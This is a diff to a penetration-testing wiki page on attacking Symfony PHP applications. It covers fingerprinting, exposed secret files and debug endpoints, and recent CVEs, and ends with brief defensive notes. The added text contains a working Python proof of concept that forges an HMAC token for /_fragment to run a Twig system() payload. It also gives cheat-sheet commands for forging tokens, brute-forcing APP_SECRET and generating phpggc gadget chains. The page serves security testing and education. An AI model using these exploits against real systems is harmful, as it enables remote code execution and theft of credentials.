|
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}}
|
4 | 4 |
|
5 |
| -Take a look to the following posts: |
| 5 | +Symfony is one of the most widely-used PHP frameworks and regularly appears in assessments of enterprise, e-commerce and CMS targets (Drupal, Shopware, Ibexa, OroCRM … all embed Symfony components). This page collects offensive tips, common mis-configurations and recent vulnerabilities you should have on your checklist when you discover a Symfony application. |
6 | 6 |
|
7 |
| -- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment) |
8 |
| -- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807) |
9 |
| -- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144) |
| 7 | +> Historical note: A large part of the ecosystem still runs the **5.4 LTS** branch (EOL **November 2025**). Always verify the exact minor version because many 2023-2025 security advisories only fixed in patch releases (e.g. 5.4.46 → 5.4.50). |
10 | 8 |
|
11 |
| -{{#include ../../banners/hacktricks-training.md}} |
| 9 | +--- |
| 10 | + |
| 11 | +## Recon & Enumeration |
| 12 | + |
| 13 | +### Finger-printing |
| 14 | +* HTTP response headers: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` or cookies starting with `sf_redirect`, `sf_session`, `MOCKSESSID`. |
| 15 | +* Source code leaks (`composer.json`, `composer.lock`, `/vendor/…`) often reveal the exact version: |
| 16 | + ```bash |
| 17 | + curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version' |
| 18 | + ``` |
| 19 | +* Public routes that only exist on Symfony: |
| 20 | + * `/_profiler` (Symfony **Profiler** & debug toolbar) |
| 21 | + * `/_wdt/<token>` (“Web Debug Toolbar”) |
| 22 | + * `/_error/{code}.{_format}` (pretty error pages) |
| 23 | + * `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers) |
| 24 | +* Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists: `symfony.txt` → look for `/_fragment`, `/_profiler`, `.env`, `.htaccess`. |
| 25 | + |
| 26 | +### Interesting files & endpoints |
| 27 | +| Path | Why it matters | |
| 28 | +|------|----------------| |
| 29 | +| `/.env`, `/.env.local`, `/.env.prod` | Frequently mis-deployed → leaks `APP_SECRET`, DB creds, SMTP, AWS keys | |
| 30 | +| `/.git`, `.svn`, `.hg` | Source disclosure → credentials + business logic | |
| 31 | +| `/var/log/*.log`, `/log/dev.log` | Web-root mis-configuration exposes stack-traces | |
| 32 | +| `/_profiler` | Full request history, configuration, service container, **APP_SECRET** (≤ 3.4) | |
| 33 | +| `/_fragment` | Entry point used by ESI/HInclude. Abuse possible once you know `APP_SECRET` | |
| 34 | +| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE if accessible (CVE-2017-9841) | |
| 35 | +| `/index.php/_error/{code}` | Finger-print & sometimes leak exception traces | |
| 36 | + |
| 37 | +--- |
| 38 | + |
| 39 | +## High-impact Vulnerabilities (2023-2025) |
| 40 | + |
| 41 | +### 1. APP_SECRET disclosure ➜ RCE via `/_fragment` (aka “secret-fragment”) |
| 42 | +* **CVE-2019-18889** originally, but *still* appears on modern targets when debug is left enabled or `.env` is exposed. |
| 43 | +* Once you know the 32-char `APP_SECRET`, craft an HMAC token and abuse the internal `render()` controller to execute arbitrary Twig: |
| 44 | + ```python |
| 45 | + # PoC – requires the secret |
| 46 | + import hmac, hashlib, requests, urllib.parse as u |
| 47 | + secret = bytes.fromhex('deadbeef…') |
| 48 | + payload = "{{['id']|filter('system')}}" # RCE in Twig |
| 49 | + query = { |
| 50 | + 'template': '@app/404.html.twig', |
| 51 | + 'filter': 'raw', |
| 52 | + '_format': 'html', |
| 53 | + '_locale': 'en', |
| 54 | + 'globals[cmd]': 'id' |
| 55 | + } |
| 56 | + qs = u.urlencode(query, doseq=True) |
| 57 | + token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest() |
| 58 | + r = requests.get(f"https://target/_fragment?{qs}&_token={token}") |
| 59 | + print(r.text) |
| 60 | + ``` |
| 61 | +* Excellent write-up & exploitation script: Ambionics blog (linked in References). |
| 62 | + |
| 63 | +### 2. Windows Process Hijack – CVE-2024-51736 |
| 64 | +* The `Process` component searched the current working directory **before** `PATH` on Windows. An attacker able to upload `tar.exe`, `cmd.exe`, etc. in a writable web-root and trigger `Process` (e.g. file extraction, PDF generation) gains command execution. |
| 65 | +* Patched in 5.4.50, 6.4.14, 7.1.7. |
| 66 | + |
| 67 | +### 3. Session-Fixation – CVE-2023-46733 |
| 68 | +* Authentication guard reused an existing session ID after login. If an attacker sets the cookie **before** the victim authenticates, they hijack the account post-login. |
| 69 | + |
| 70 | +### 4. Twig sandbox XSS – CVE-2023-46734 |
| 71 | +* In applications that expose user-controlled templates (admin CMS, email builder) the `nl2br` filter could be abused to bypass the sandbox and inject JS. |
| 72 | + |
| 73 | +### 5. Symfony 1 gadget chains (still found in legacy apps) |
| 74 | +* `phpggc symfony/1 system id` produces a Phar payload that triggers RCE when an unserialize() happens on classes such as `sfNamespacedParameterHolder`. Check file-upload endpoints and `phar://` wrappers. |
12 | 75 |
|
| 76 | +{{#ref}} |
| 77 | +../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md |
| 78 | +{{#endref}} |
13 | 79 |
|
| 80 | +--- |
14 | 81 |
|
| 82 | +## Exploitation Cheat-Sheet |
| 83 | + |
| 84 | +### Calculate HMAC token for `/_fragment` |
| 85 | +```bash |
| 86 | +python - <<'PY' |
| 87 | +import sys, hmac, hashlib, urllib.parse as u |
| 88 | +secret = bytes.fromhex(sys.argv[1]) |
| 89 | +qs = u.quote_plus(sys.argv[2], safe='=&') |
| 90 | +print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()) |
| 91 | +PY deadbeef… "template=@App/evil&filter=raw&_format=html" |
| 92 | +``` |
| 93 | + |
| 94 | +### Bruteforce weak `APP_SECRET` |
| 95 | +```bash |
| 96 | +cewl -d3 https://target -w words.txt |
| 97 | +symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target |
| 98 | +``` |
| 99 | + |
| 100 | +### RCE via exposed Symfony Console |
| 101 | +If `bin/console` is reachable through `php-fpm` or direct CLI upload: |
| 102 | +```bash |
| 103 | +php bin/console about # confirm it works |
| 104 | +php bin/console cache:clear --no-warmup |
| 105 | +``` |
| 106 | +Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request. |
| 107 | + |
| 108 | +--- |
| 109 | + |
| 110 | +## Defensive notes |
| 111 | +1. **Never deploy debug** (`APP_ENV=dev`, `APP_DEBUG=1`) to production; block `/app_dev.php`, `/_profiler`, `/_wdt` in the web-server config. |
| 112 | +2. Store secrets in env vars or `vault/secrets.local.php`, *never* in files accessible through the document-root. |
| 113 | +3. Enforce patch management – subscribe to Symfony security advisories and keep at least the LTS patch-level. |
| 114 | +4. If you run on Windows, upgrade immediately to mitigate CVE-2024-51736 or add a `open_basedir`/`disable_functions` defence-in-depth. |
| 115 | + |
| 116 | +--- |
| 117 | + |
| 118 | +### Useful offensive tooling |
| 119 | +* **ambionics/symfony-exploits** – secret-fragment RCE, debugger routes discovery. |
| 120 | +* **phpggc** – Ready-made gadget chains for Symfony 1 & 2. |
| 121 | +* **sf-encoder** – small helper to compute `_fragment` HMAC (Go implementation). |
| 122 | + |
| 123 | + |
| 124 | + |
| 125 | +## References |
| 126 | +* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment) |
| 127 | +* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class) |
| 128 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments